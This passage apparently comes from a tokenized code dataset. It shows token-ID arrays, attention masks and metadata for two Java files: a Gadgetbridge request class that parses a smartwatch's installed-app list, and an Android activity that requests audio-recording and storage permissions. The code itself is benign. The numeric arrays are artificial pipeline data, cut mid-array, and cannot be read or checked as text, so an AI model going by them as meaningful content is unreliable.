449,
21190,
449,
804,
64,
2125,
1276,
1691,
27609,
365,
1616,
3845,
2688,
332,
21344,
39,
1616,
5264,
49,
372,
338,
6940,
27609,
9406,
4666,
563,
51,
372,
588,
419,
434,
1849,
21344,
630,
244,
53,
46,
979,
327,
872,
882,
244,
53,
46,
979,
327,
1477,
93,
630,
1788,
509,
320,
547,
27609,
9406,
299,
878,
64,
419,
339,
832,
320,
547,
1276,
5094,
331,
24121,
2895,
331,
14828,
7508,
5710,
1616,
3507,
338,
22985,
480,
341,
5710,
42648,
49,
341,
19223,
1414,
3507,
338,
2539,
341,
2109,
5226,
451,
341,
2221,
51,
3507,
588,
547,
434,
1849,
21344,
882,
244,
53,
46,
979,
327,
1477,
93,
350,
244,
53,
46,
979,
327,
117,
51,
125,
630,
244,
53,
509,
320,
733,
317,
51,
125,
1475,
804,
64,
547,
339,
419,
339,
343,
339,
343,
19223,
51,
43133,
2746,
45,
117,
312,
310,
339,
603,
453,
310,
453,
6484,
17089,
63,
1369,
458,
6733,
563,
4354,
341,
990,
29314,
310,
453,
480,
341,
14828,
52,
10160,
7508,
15411,
51,
310,
453,
603,
453,
1701,
1249,
456,
3417,
347,
341,
1573,
2821,
480,
334,
3806,
120,
341,
310,
453,
14828,
52,
10160,
6484,
1810,
14625,
51,
310,
581,
782,
2821,
1810,
45,
1667,
25211,
503,
46,
320,
343,
434,
327,
106,
51,
25518,
365,
630,
7508,
16415,
46,
320,
419,
7508,
7586,
1667,
1810,
45,
106,
312,
343,
339,
343,
832,
320,
419,
6127,
1667,
1810,
45,
106,
312,
343,
339,
310,
339,
603,
964,
782,
7508,
7586,
1667,
1810,
45,
1667,
25211,
503,
46,
320,
343,
910,
28824,
299,
503,
51,
12712,
577,
492,
1083,
434,
327,
24922,
630,
332,
10160,
26964,
3948,
4263,
678,
320,
419,
1991,
26964,
3948,
4263,
45,
106,
312,
343,
339,
343,
832,
434,
327,
24922,
630,
332,
10634,
26964,
3948,
4263,
678,
320,
419,
1991,
26964,
3948,
4263,
45,
106,
312,
343,
339,
343,
832,
434,
327,
24922,
630,
332,
10828,
678,
320,
419,
1991,
16659,
45,
106,
312,
343,
339,
343,
832,
434,
327,
24922,
630,
332,
661,
2661,
678,
320,
419,
1991,
2368,
2661,
45,
106,
312,
343,
339,
343,
832,
434,
327,
24922,
630,
332,
2628,
2661,
678,
320,
419,
1991,
2154,
2661,
45,
106,
312,
343,
339,
343,
832,
434,
327,
24922,
630,
332,
10160,
26964,
678,
320,
419,
1991,
11916,
26964,
45,
106,
312,
343,
339,
343,
832,
434,
327,
24922,
630,
332,
10634,
26964,
678,
320,
419,
1991,
11388,
26964,
45,
106,
312,
343,
339,
343,
832,
434,
327,
24922,
630,
332,
2307,
13986,
678,
320,
419,
7508,
16415,
51,
287,
4647,
492,
419,
7508,
16415,
51,
4332,
2043,
492,
343,
339,
310,
339,
603,
453,
6484,
17089,
456,
341,
14828,
480,
10705,
7508,
15411,
51,
310,
964,
782,
6127,
1667,
1810,
45,
1667,
25211,
503,
46,
320,
343,
910,
28824,
299,
503,
51,
12712,
577,
492,
343,
2210,
1932,
299,
503,
51,
25518,
492,
1083,
434,
2903,
1184,
39,
630,
28824,
46,
320,
419,
990,
26964,
6127,
299,
7508,
16415,
51,
390,
11916,
26964,
492,
419,
11547,
6923,
3216,
1262,
3627,
1262,
299,
327,
44284,
3216,
1262,
46,
106,
51,
9488,
640,
10560,
899,
492,
419,
5621,
2239,
1553,
299,
762,
64,
2125,
434,
327,
1876,
630,
6127,
46,
320,
547,
1553,
299,
373,
5692,
17089,
64,
419,
339,
419,
832,
434,
327,
1876,
630,
7508,
16415,
51,
390,
11388,
26964,
1177,
320,
547,
6127,
299,
7508,
16415,
51,
390,
11388,
26964,
492,
547,
1553,
299,
439,
5692,
17089,
64,
419,
339,
419,
434,
327,
592,
882,
762,
46,
320,
547,
434,
327,
1477,
1262,
882,
762,
46,
320,
733,
3627,
1262,
51,
2564,
17089,
45,
592,
312,
547,
339,
547,
434,
327,
5692,
51,
26959,
365,
882,
762,
46,
320,
733,
6127,
51,
26959,
941,
688,
17089,
45,
592,
312,
547,
339,
419,
339,
343,
339,
343,
832,
434,
2903,
2307,
13986,
39,
630,
28824,
46,
320,
419,
434,
327,
1876,
630,
7508,
16415,
51,
390,
11388,
26964,
1177,
320,
547,
990,
26964,
439,
5692,
299,
7508,
16415,
51,
390,
11388,
26964,
492,
547,
990,
16659,
19223,
299,
7508,
16415,
51,
390,
16659,
492,
547,
6460,
317,
299,
19223,
51,
28987,
2746,
492,
547,
434,
327,
5828,
16415,
51,
23441,
13986,
941,
316,
3695,
724,
4058,
1177,
320,
733,
317,
51,
125,
299,
439,
5692,
51,
6693,
492,
547,
339,
832,
320,
733,
317,
51,
125,
299,
19223,
51,
28987,
1269,
941,
1660,
449,
19223,
51,
390,
18683,
1269,
941,
1660,
449,
439,
5692,
51,
6693,
492,
547,
339,
547,
19223,
51,
43133,
2746,
45,
117,
312,
419,
339,
343,
339,
310,
339,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 9,967
| true
| 51.763682
| true
| true
|
ApplicationsListRequest.java
|
/FileExtraction/Java_unseen/Freeyourgadget_Gadgetbridge/app/src/main/java/nodomain/freeyourgadget/gadgetbridge/service/devices/qhybrid/requests/fossil_hr/application/ApplicationsListRequest.java
|
/* Copyright (C) 2021-2024 Arjan Schrijver, Daniel Dakhno
This file is part of Gadgetbridge.
Gadgetbridge is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Gadgetbridge is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
package nodomain.freeyourgadget.gadgetbridge.service.devices.qhybrid.requests.fossil_hr.application;
import android.content.pm.ApplicationInfo;
import org.json.JSONArray;
import org.json.JSONObject;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import nodomain.freeyourgadget.gadgetbridge.impl.GBDevice;
import nodomain.freeyourgadget.gadgetbridge.model.GenericItem;
import nodomain.freeyourgadget.gadgetbridge.service.devices.qhybrid.adapter.fossil_hr.FossilHRWatchAdapter;
import nodomain.freeyourgadget.gadgetbridge.service.devices.qhybrid.requests.fossil.file.FileLookupAndGetRequest;
import nodomain.freeyourgadget.gadgetbridge.service.devices.qhybrid.file.FileHandle;
import nodomain.freeyourgadget.gadgetbridge.service.devices.qhybrid.requests.fossil.file.FileLookupRequest.FILE_LOOKUP_ERROR;
public class ApplicationsListRequest extends FileLookupAndGetRequest{
public ApplicationsListRequest(FossilHRWatchAdapter adapter) {
super(FileHandle.APP_CODE, adapter);
}
public void handleFileData(byte[] fileData){
ArrayList<ApplicationInformation> applicationInfos = new ArrayList<>();
ByteBuffer buffer = ByteBuffer.wrap(fileData);
buffer.order(ByteOrder.LITTLE_ENDIAN);
buffer.position(12);
while(buffer.remaining() > 4){
short packetLength = buffer.getShort();
buffer.get();
int nameLength = buffer.get() - 1; // cutting off null byte
byte[] nameBuffer = new byte[nameLength];
buffer.get(nameBuffer);
String name = new String(nameBuffer);
buffer.get(); // null byte
byte handle = buffer.get();
int hash = buffer.getInt();
String version = String.format("%d.%d", buffer.get(), buffer.get());
buffer.get(); // unknown
buffer.get(); // unknown
applicationInfos.add(new ApplicationInformation(
name,
version,
hash,
handle
));
}
Collections.sort(applicationInfos);
this.handleApplicationsList(applicationInfos);
}
public void handleApplicationsList(List<ApplicationInformation> installedApplications){
}
public void handleFileLookupError(FILE_LOOKUP_ERROR error){
}
}
| 3,201
|
Java
|
.java
|
Freeyourgadget/Gadgetbridge
| 4,208
| 656
| 461
|
2015-01-05T23:19:03Z
|
2024-03-25T19:39:53Z
|
385858a9b48ba0102bd12ca479f6415f2222083a9441c9ce42a41b5766d7e1cc
|
[
1127,
244,
2657,
327,
72,
46,
244,
55,
53,
55,
54,
50,
55,
53,
55,
57,
5534,
18605,
10469,
33135,
443,
49,
32649,
493,
793,
109,
1365,
465,
1369,
822,
458,
1760,
451,
590,
47106,
12157,
51,
465,
590,
47106,
12157,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
303,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
9582,
303,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
303,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
465,
590,
47106,
12157,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
303,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
303,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
303,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
465,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
303,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
662,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
588,
222,
1337,
27272,
2182,
51,
12591,
929,
534,
30426,
390,
51,
30426,
390,
12157,
51,
2140,
51,
13224,
51,
118,
37955,
51,
9701,
51,
598,
441,
354,
100,
3943,
51,
3180,
64,
222,
222,
485,
2616,
51,
1304,
51,
4921,
51,
2743,
1139,
64,
222,
222,
485,
1105,
51,
1279,
51,
27698,
64,
222,
485,
1105,
51,
1279,
51,
15543,
64,
222,
222,
485,
1401,
51,
11780,
51,
21042,
64,
222,
485,
1401,
51,
11780,
51,
3945,
2888,
64,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
4293,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
485,
27272,
2182,
51,
12591,
929,
534,
30426,
390,
51,
30426,
390,
12157,
51,
3126,
51,
3947,
3046,
64,
222,
485,
27272,
2182,
51,
12591,
929,
534,
30426,
390,
51,
30426,
390,
12157,
51,
1184,
51,
4020,
1114,
64,
222,
485,
27272,
2182,
51,
12591,
929,
534,
30426,
390,
51,
30426,
390,
12157,
51,
2140,
51,
13224,
51,
118,
37955,
51,
8730,
51,
598,
441,
354,
100,
3943,
51,
75,
13532,
354,
5157,
9416,
4433,
64,
222,
485,
27272,
2182,
51,
12591,
929,
534,
30426,
390,
51,
30426,
390,
12157,
51,
2140,
51,
13224,
51,
118,
37955,
51,
9701,
51,
598,
441,
354,
51,
781,
51,
991,
10138,
35335,
1123,
64,
222,
485,
27272,
2182,
51,
12591,
929,
534,
30426,
390,
51,
30426,
390,
12157,
51,
2140,
51,
13224,
51,
118,
37955,
51,
781,
51,
991,
3308,
64,
222,
485,
27272,
2182,
51,
12591,
929,
534,
30426,
390,
51,
30426,
390,
12157,
51,
2140,
51,
13224,
51,
118,
37955,
51,
9701,
51,
598,
441,
354,
51,
781,
51,
991,
10138,
1123,
51,
3555,
100,
38604,
2430,
100,
2946,
64,
222,
222,
942,
462,
29616,
739,
1123,
2041,
2050,
10138,
35335,
1123,
128,
303,
581,
29616,
739,
1123,
45,
75,
13532,
354,
5157,
9416,
4433,
10726,
46,
320,
310,
2615,
45,
991,
3308,
51,
6876,
100,
3535,
49,
10726,
312,
303,
339,
465,
581,
782,
2902,
991,
768,
45,
2278,
1197,
822,
768,
1528,
310,
5068,
65,
2743,
6609,
67,
3039,
14675,
299,
556,
5068,
6984,
310,
24976,
3129,
299,
24976,
51,
4087,
45,
781,
768,
312,
310,
3129,
51,
1191,
45,
3945,
2888,
51,
22571,
35312,
100,
34223,
312,
310,
3129,
51,
2719,
45,
54,
55,
312,
310,
2236,
45,
2683,
51,
18274,
365,
868,
244,
57,
1528,
343,
4514,
6892,
2396,
299,
3129,
51,
390,
6881,
492,
343,
3129,
51,
390,
492,
343,
648,
655,
2396,
299,
3129,
51,
390,
365,
449,
244,
54,
64,
453,
11950,
1073,
2143,
762,
3447,
343,
3447,
1197,
655,
2030,
299,
556,
3447,
96,
444,
2396,
988,
343,
3129,
51,
390,
45,
444,
2030,
312,
343,
910,
655,
299,
556,
910,
45,
444,
2030,
312,
343,
3129,
51,
390,
492,
453,
762,
3447,
343,
3447,
2902,
299,
3129,
51,
390,
492,
343,
648,
3696,
299,
3129,
51,
15384,
492,
343,
910,
1522,
299,
910,
51,
1664,
4923,
105,
15224,
105,
411,
3129,
51,
390,
1046,
3129,
51,
390,
1052,
343,
3129,
51,
390,
492,
244,
453,
8675,
343,
3129,
51,
390,
492,
244,
453,
8675,
1083,
3039,
14675,
51,
688,
45,
909,
6700,
6609,
45,
547,
655,
49,
547,
1522,
49,
547,
3696,
49,
547,
2902,
343,
11979,
310,
339,
310,
15490,
51,
3349,
45,
3180,
14675,
312,
310,
477,
51,
2972,
18944,
739,
45,
3180,
14675,
312,
303,
339,
465,
581,
782,
2902,
18944,
739,
45,
739,
65,
2743,
6609,
67,
6733,
18944,
1528,
465,
339,
465,
581,
782,
2902,
991,
10138,
943,
45,
3555,
100,
38604,
2430,
100,
2946,
1067,
1528,
465,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 779
| true
| 70.321774
| true
| true
|
SaidItActivity.java
|
/FileExtraction/Java_unseen/mafik_echo/SaidIt/src/main/java/eu/mrogalski/saidit/SaidItActivity.java
|
package eu.mrogalski.saidit;
import android.Manifest;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.provider.Settings;
import androidx.annotation.NonNull;
import androidx.core.app.ActivityCompat;
public class SaidItActivity extends Activity {
private static final int PERMISSION_REQUEST_CODE = 5465;
private boolean isFragmentSet = false;
private AlertDialog permissionDeniedDialog;
private AlertDialog storagePermissionDialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_background_recorder);
}
@Override
protected void onStart() {
super.onStart();
if(permissionDeniedDialog != null) {
permissionDeniedDialog.dismiss();
}
if(storagePermissionDialog != null) {
storagePermissionDialog.dismiss();
}
requestPermissions();
}
@Override
protected void onRestart() {
super.onRestart();
if(permissionDeniedDialog != null) {
permissionDeniedDialog.dismiss();
}
if(storagePermissionDialog != null) {
storagePermissionDialog.dismiss();
}
requestPermissions();
}
private void requestPermissions() {
// Ask for storage permission
String[] permissions = {Manifest.permission.RECORD_AUDIO, Manifest.permission.FOREGROUND_SERVICE};
if(Build.VERSION.SDK_INT >= 33) {
permissions = new String[]{Manifest.permission.RECORD_AUDIO, Manifest.permission.FOREGROUND_SERVICE, Manifest.permission.POST_NOTIFICATIONS};
}
if(Build.VERSION.SDK_INT <= Build.VERSION_CODES.R) {
permissions = new String[]{Manifest.permission.RECORD_AUDIO, Manifest.permission.FOREGROUND_SERVICE, Manifest.permission.WRITE_EXTERNAL_STORAGE};
}
ActivityCompat.requestPermissions(this, permissions, PERMISSION_REQUEST_CODE);
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == PERMISSION_REQUEST_CODE) {
// Check if all permissions are granted
boolean allPermissionsGranted = true;
for (int result : grantResults) {
if (result != PackageManager.PERMISSION_GRANTED) {
allPermissionsGranted = false;
break;
}
}
if (allPermissionsGranted) {
// All permissions are granted
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
if (Environment.isExternalStorageManager()) {
// Permission already granted
if(storagePermissionDialog != null) {
storagePermissionDialog.dismiss();
}
showFragment();
} else {
// Request MANAGE_EXTERNAL_STORAGE permission
storagePermissionDialog = new AlertDialog.Builder(this)
.setTitle(R.string.permission_required)
.setMessage(R.string.permission_required_message)
.setPositiveButton(R.string.allow, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// Open app settings
Intent intent = new Intent();
intent.setAction(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION);
intent.setData(Uri.fromParts("package", getPackageName(), null));
startActivity(intent);
}
})
.setNegativeButton(R.string.exit, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
finish();
}
})
.setCancelable(false)
.show();
}
} else {
// For devices below Android 10, request WRITE_EXTERNAL_STORAGE permission
// Use the code snippet from the previous response
}
} else {
if(permissionDeniedDialog == null || !permissionDeniedDialog.isShowing()) {
showPermissionDeniedDialog();
}
}
}
}
private void showFragment() {
if (!isFragmentSet) {
isFragmentSet = true;
getFragmentManager().beginTransaction()
.replace(R.id.container, new SaidItFragment(), "main-fragment")
.commit();
}
}
private void showPermissionDeniedDialog() {
permissionDeniedDialog = new AlertDialog.Builder(this)
.setTitle(R.string.permission_required)
.setMessage(R.string.permission_required_message)
.setPositiveButton(R.string.allow, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// Open app settings
Intent intent = new Intent();
intent.setAction(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
intent.setData(Uri.fromParts("package", getPackageName(), null));
startActivity(intent);
}
})
.setNegativeButton(R.string.exit, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
finish();
}
})
.setCancelable(false)
.show();
}
}
| 6,697
|
Java
|
.java
|
mafik/echo
| 89
| 22
| 12
|
2014-10-29T03:02:01Z
|
2024-03-27T13:22:48Z
|
64b9ede3693139b7f5147ccdc7cce821f0a6807522eac2858f75d856fff1227d
|
[
1337,
14604,
51,
114,
309,
8372,
17710,
51,
2473,
333,
302,
64,
222,
222,
485,
2616,
51,
12061,
64,
222,
485,
2616,
51,
745,
51,
3697,
64,
222,
485,
2616,
51,
745,
51,
40628,
64,
222,
485,
2616,
51,
1304,
51,
41956,
64,
222,
485,
2616,
51,
1304,
51,
8770,
64,
222,
485,
2616,
51,
1304,
51,
4921,
51,
42759,
64,
222,
485,
2616,
51,
1317,
51,
5729,
64,
222,
485,
2616,
51,
519,
51,
3328,
64,
222,
485,
2616,
51,
519,
51,
4775,
64,
222,
485,
2616,
51,
519,
51,
6342,
64,
222,
485,
2616,
51,
6390,
51,
2977,
64,
222,
222,
485,
10484,
51,
4341,
51,
10082,
64,
222,
485,
10484,
51,
1284,
51,
745,
51,
3697,
6823,
64,
222,
222,
942,
462,
377,
14285,
1029,
3697,
2041,
13478,
320,
465,
964,
924,
1175,
648,
13591,
21795,
100,
7921,
100,
3535,
299,
244,
58,
57,
59,
58,
64,
303,
964,
1922,
458,
5763,
903,
299,
920,
64,
303,
964,
37468,
6504,
27185,
3742,
64,
303,
964,
37468,
4780,
7052,
3742,
64,
303,
496,
1806,
303,
2532,
782,
16456,
45,
4775,
19902,
46,
320,
310,
2615,
51,
20217,
45,
20731,
312,
310,
31090,
45,
87,
51,
3106,
51,
6904,
100,
4175,
100,
31341,
312,
303,
339,
465,
496,
1806,
303,
2532,
782,
47455,
365,
320,
310,
2615,
51,
48815,
492,
310,
434,
45,
9207,
27185,
3742,
882,
762,
46,
320,
343,
6504,
27185,
3742,
51,
11956,
492,
310,
339,
310,
434,
45,
4239,
7052,
3742,
882,
762,
46,
320,
343,
4780,
7052,
3742,
51,
11956,
492,
310,
339,
310,
1343,
10967,
492,
303,
339,
465,
496,
1806,
303,
2532,
782,
563,
22632,
365,
320,
310,
2615,
51,
286,
22632,
492,
310,
434,
45,
9207,
27185,
3742,
882,
762,
46,
320,
343,
6504,
27185,
3742,
51,
11956,
492,
310,
339,
310,
434,
45,
4239,
7052,
3742,
882,
762,
46,
320,
343,
4780,
7052,
3742,
51,
11956,
492,
310,
339,
310,
1343,
10967,
492,
303,
339,
465,
964,
782,
1343,
10967,
365,
320,
310,
453,
31749,
456,
4780,
6504,
603,
910,
1197,
4243,
299,
320,
12061,
51,
9207,
51,
23595,
100,
24189,
49,
30770,
51,
9207,
51,
1380,
4747,
23680,
100,
12748,
1274,
310,
434,
45,
3328,
51,
4539,
51,
9107,
100,
1860,
2394,
244,
56,
56,
46,
320,
343,
4243,
299,
556,
910,
14161,
12061,
51,
9207,
51,
23595,
100,
24189,
49,
30770,
51,
9207,
51,
1380,
4747,
23680,
100,
12748,
49,
30770,
51,
9207,
51,
3719,
100,
29747,
88,
1274,
310,
339,
310,
434,
45,
3328,
51,
4539,
51,
9107,
100,
1860,
2527,
5256,
51,
4539,
100,
24879,
51,
87,
46,
320,
343,
4243,
299,
556,
910,
14161,
12061,
51,
9207,
51,
23595,
100,
24189,
49,
30770,
51,
9207,
51,
1380,
4747,
23680,
100,
12748,
49,
30770,
51,
9207,
51,
3230,
100,
14417,
100,
20722,
1274,
310,
339,
310,
13478,
6823,
51,
1375,
10967,
45,
597,
49,
4243,
49,
13591,
21795,
100,
7921,
100,
3535,
312,
303,
339,
465,
496,
1806,
303,
581,
782,
563,
1123,
10967,
1413,
45,
429,
1343,
1241,
49,
496,
10082,
910,
1197,
4243,
49,
496,
10082,
648,
1197,
18839,
5483,
46,
320,
310,
2615,
51,
286,
1123,
10967,
1413,
45,
1375,
1241,
49,
4243,
49,
18839,
5483,
312,
310,
434,
327,
1375,
1241,
630,
13591,
21795,
100,
7921,
100,
3535,
46,
320,
343,
453,
3471,
434,
1187,
4243,
904,
11495,
343,
1922,
1187,
10967,
36914,
299,
878,
64,
343,
456,
327,
429,
1074,
518,
18839,
5483,
46,
320,
419,
434,
327,
1285,
882,
9718,
1590,
51,
28689,
100,
27672,
23885,
46,
320,
547,
1187,
10967,
36914,
299,
920,
64,
547,
1644,
64,
419,
339,
343,
339,
343,
434,
327,
483,
10967,
36914,
46,
320,
419,
453,
3381,
4243,
904,
11495,
419,
434,
327,
3328,
51,
4539,
51,
9107,
100,
1860,
2394,
5256,
51,
4539,
100,
24879,
51,
87,
46,
320,
547,
434,
327,
6342,
51,
316,
8392,
3581,
1590,
1177,
320,
733,
453,
11125,
3443,
11495,
733,
434,
45,
4239,
7052,
3742,
882,
762,
46,
320,
1031,
4780,
7052,
3742,
51,
11956,
492,
733,
339,
733,
2539,
5763,
492,
547,
339,
832,
320,
733,
453,
4463,
33301,
3484,
100,
14417,
100,
20722,
6504,
733,
4780,
7052,
3742,
299,
556,
37468,
51,
1812,
45,
597,
46,
1396,
657,
17359,
45,
87,
51,
819,
51,
9207,
100,
3662,
46,
1396,
657,
28901,
45,
87,
51,
819,
51,
9207,
100,
3662,
100,
1454,
46,
1396,
657,
489,
17982,
1732,
45,
87,
51,
819,
51,
4582,
49,
556,
13695,
3058,
51,
12733,
365,
320,
1908,
496,
1806,
1908,
581,
782,
7057,
45,
41956,
7501,
49,
648,
1532,
46,
320,
2493,
453,
3944,
1142,
4086,
2493,
11790,
8935,
299,
556,
11790,
492,
2493,
8935,
51,
40811,
45,
2977,
51,
8755,
100,
42271,
100,
6876,
100,
2335,
100,
14151,
100,
12465,
100,
28689,
312,
2493,
8935,
51,
18745,
45,
5729,
51,
1097,
12329,
459,
1337,
411,
640,
28458,
1046,
762,
894,
2493,
26819,
45,
13990,
312,
1908,
339,
1396,
1809,
1396,
657,
489,
17144,
1732,
45,
87,
51,
819,
51,
4788,
49,
556,
13695,
3058,
51,
12733,
365,
320,
1908,
496,
1806,
1908,
581,
782,
7057,
45,
41956,
7501,
49,
648,
1532,
46,
320,
2493,
11371,
492,
1908,
339,
1396,
1809,
1396,
657,
489,
7034,
463,
45,
1886,
46,
1396,
657,
2276,
492,
547,
339,
419,
339,
832,
320,
547,
453,
2643,
9248,
4834,
8107,
244,
54,
53,
49,
1343,
19612,
100,
14417,
100,
20722,
6504,
547,
453,
4443,
341,
1361,
20088,
664,
341,
4575,
1808,
419,
339,
343,
339,
832,
320,
419,
434,
45,
9207,
27185,
3742,
630,
762,
1293,
673,
9207,
27185,
3742,
51,
316,
36684,
1177,
320,
547,
2539,
7052,
27185,
3742,
492,
419,
339,
343,
339,
310,
339,
303,
339,
465,
964,
782,
2539,
5763,
365,
320,
310,
434,
1445,
316,
5763,
903,
46,
320,
343,
458,
5763,
903,
299,
878,
64,
343,
640,
36955,
941,
39118,
365,
547,
657,
3249,
45,
87,
51,
333,
51,
2646,
49,
556,
377,
14285,
1029,
5763,
1046,
332,
1850,
50,
9883,
678,
547,
657,
3388,
492,
310,
339,
303,
339,
303,
964,
782,
2539,
7052,
27185,
3742,
365,
320,
310,
6504,
27185,
3742,
299,
556,
37468,
51,
1812,
45,
597,
46,
419,
657,
17359,
45,
87,
51,
819,
51,
9207,
100,
3662,
46,
419,
657,
28901,
45,
87,
51,
819,
51,
9207,
100,
3662,
100,
1454,
46,
419,
657,
489,
17982,
1732,
45,
87,
51,
819,
51,
4582,
49,
556,
13695,
3058,
51,
12733,
365,
320,
547,
496,
1806,
547,
581,
782,
7057,
45,
41956,
7501,
49,
648,
1532,
46,
320,
733,
453,
3944,
1142,
4086,
733,
11790,
8935,
299,
556,
11790,
492,
733,
8935,
51,
40811,
45,
4048,
51,
6390,
51,
2977,
51,
8755,
100,
16251,
100,
42323,
100,
24244,
312,
733,
8935,
51,
18745,
45,
5729,
51,
1097,
12329,
459,
1337,
411,
640,
28458,
1046,
762,
894,
733,
26819,
45,
13990,
312,
547,
339,
419,
1809,
419,
657,
489,
17144,
1732,
45,
87,
51,
819,
51,
4788,
49,
556,
13695,
3058,
51,
12733,
365,
320,
547,
496,
1806,
547,
581,
782,
7057,
45,
41956,
7501,
49,
648,
1532,
46,
320,
733,
11371,
492,
547,
339,
419,
1809,
419,
657,
489,
7034,
463,
45,
1886,
46,
419,
657,
2276,
492,
303,
339,
222,
130
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
